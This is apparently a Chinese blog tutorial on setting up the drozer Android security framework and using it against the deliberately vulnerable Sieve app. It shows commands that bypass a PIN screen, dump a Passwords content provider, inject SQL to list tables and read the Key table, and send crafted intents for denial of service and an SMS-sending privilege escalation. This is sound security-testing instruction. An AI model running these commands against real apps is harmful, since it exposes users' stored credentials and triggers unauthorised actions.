1.安装

1.1 本机环境

windows10
python2.7
夜神模拟器
adb

2.2 下载Drozer

下载地址 https://labs.f-secure.com/tools/drozer
下载drozer.rpm
用7z解压2次
image.png
image.png
需要用drozer.bat来启动drozer

下载drozer-agent.apk
夜神模拟器安装drozer-agent.apk
image.png

2.启动服务

2.1 开启模拟器的drozer服务

image.png
点击Embedded Server

image.png
点击Enabled启动服务

2.2 PC上进行drozer连接

drozer默认使用端口31415,使用adb进行端口转发

  1. adb forward tcp:31415 tcp:31415

image.png
我用的夜神模拟器自带的adb

进入到解压的drozer.bat目录
运行drozer.bat console connect

需要安装twisted模块
pip install twisted

再启动,成功启动服务
image.png

3.测试

1.获取包名

dz> run app.package.list -f 关键字
image.png

2.获取APP的基本信息

run app.package.info -a com.mwr.example.sieve
image.png

3.攻击面分析

run app.package.attacksurface com.mwr.example.sieve
image.png

4.Activity

(1)获取activity信息
run app.activity.info -a com.mwr.example.sieve
image.png

(2)启动activity
run app.activity.start —component com.mwr.example.sieve com.mwr.example.sieve.PWList

APP不输入pin,直接打开了管理密码界面

  1. dz> help app.activity.start
  2. usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
  3. [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
  4. [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
  5. [--mimetype MIMETYPE]

5.Content Provider

(1)获取Content Provider信息
run app.provider.info -a com.mwr.example.sieve
image.png

(2)Content Providers(数据泄露)
先获取所有可以访问的Uri:
run scanner.provider.finduris -a com.mwr.example.sieve
image.png
获取各个Uri的数据:

  1. run app.provider.query
  2. content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

查询到数据说明存在漏洞

(3)Content Providers(SQL注入)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ —projection “‘“

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ —selection “‘“
报错则说明存在SQL注入。

列出所有表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ —projection “* FROM SQLITE_MASTER WHERE type=’table’;—“

获取某个表(如Key)中的数据:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ —projection “* FROM Key;—“

(4)同时检测SQL注入和目录遍历
run scanner.provider.injection -a com.mwr.example.sieve

run scanner.provider.traversal -a com.mwr.example.sieve

6 intent组件触发(拒绝服务、权限提升)

利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。
1.查看暴露的广播组件信息:
run app.broadcast.info -a com.package.name 获取broadcast receivers信息

run app.broadcast.send —component 包名 —action android.intent.action.XXX
2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):
run app.broadcast.send 通过intent发送broadcast receiver
(1) 空action
run app.broadcast.send —component 包名 ReceiverName

run app.broadcast.send —component 包名 ReceiverName
(2) 空extras
run app.broadcast.send —action android.intent.action.XXX
3.尝试权限提升
权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:
(1)获取service详情  
run app.service.info -a com.mwr.example.sieve

不使用drozer启动service

am startservice –n 包名/service名
(2)权限提升
run app.service.start —action com.test.vulnerability.SEND_SMS —extra string dest 11111 —extra string text 1111 —extra string OP SEND_SMS

7.文件操作

列出指定文件路径里全局可写/可读的文件

  1. run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
  2. run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
  3. run app.broadcast.send --component 包名 --action android.intent.action.XXX

8.其它模块

  1. shell.start 在设备上开启一个交互shell
  2. tools.file.upload / tools.file.download 上传/下载文件到设备
  3. tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

4.安装模块

4.1前言

  1. drozer采用了模块化的设计,用户可以定制开发需要的测试模块。编写drozer模块主要涉及python模块及dex模块。python模块在drozer console端运行,类似于metasploit中的插件,可以扩展drozer console的测试功能。dex模块是java编写的android代码,类似于androiddex插件,在android手机上运行,用于扩展drozer agent的功能。

4.2模块安装

  1. drozer模块安装有两种方法,一种是直接在repository中按照python包管理的方法新建目录结构,将python文件放入相应目录中,另一种是在drozer console中通过module install命令直接安装模块。
  2. 这两种方法都必须先在本地创建一个drozer repository目录,可以直接在drozer console中通过命令创建:
  1. dz> module repository create [/path/to/repository]

dz> module repository create /modules
创建好本地repository后就可以安装自己的模块了。两种安装方法:

1) 按照python包管理的方式,在本地repository目录下创建目录exp,新建int.py空白文件,然后将Python模块源码放入exp目录即可。例如将test.py放入exp目录下,test.py的内容如下:

  1. from drozer.modules import Module
  2. class GetInteger(Module):
  3. name = ""
  4. description = ""
  5. examples = ""
  6. author = "Joe Bloggs (@jbloggs)"
  7. date = "2012-12-21"
  8. license = "BSD (3-clause)"
  9. path = ["exp", "test"]
  10. def execute(self, arguments):
  11. random = self.new("java.util.Random")
  12. integer = random.nextInt()
  13. self.stdout.write("int: %d\n" % integer)

安装好模块之后即可在drozer console端通过命令run exp.test.getinteger运行该模块了。

2) 通过drozer console中的命令module install 安装。首先将编辑好的python模块源文件命名为 exp.test2,文件的内容同上。在drozer console中执行

  1. dz> module install [/path/to/exp.test2]

image.png

执行成功后则可以在本地repository目录下exp目录中看到生成了test2.py文件,内容和原来的exp.test2文件一致。安装成功后及可执行该模块了。

module install除了可以安装本地仓库的模块外,还可以远程安装gitbub上的模块,地址为
https://raw.github.com/mwrlabs/drozer-modules/repository/
例如运行

  1. dz>module install jubax.javascript

将远程下载并安装scanner.misc.checkjavascriptbridge模块,安装完成后执行

  1. dz> run scanner.misc.checkjavascriptbridge

就可以运行该模块,该模块的功能是检查webview中addJavascriptInterface的使用是否存在安全隐患。

参考文章:
https://www.cnblogs.com/goodhacker/p/3906180.html
https://www.freebuf.com/sectool/26503.html
https://blog.csdn.net/jianglianye21/article/details/80667346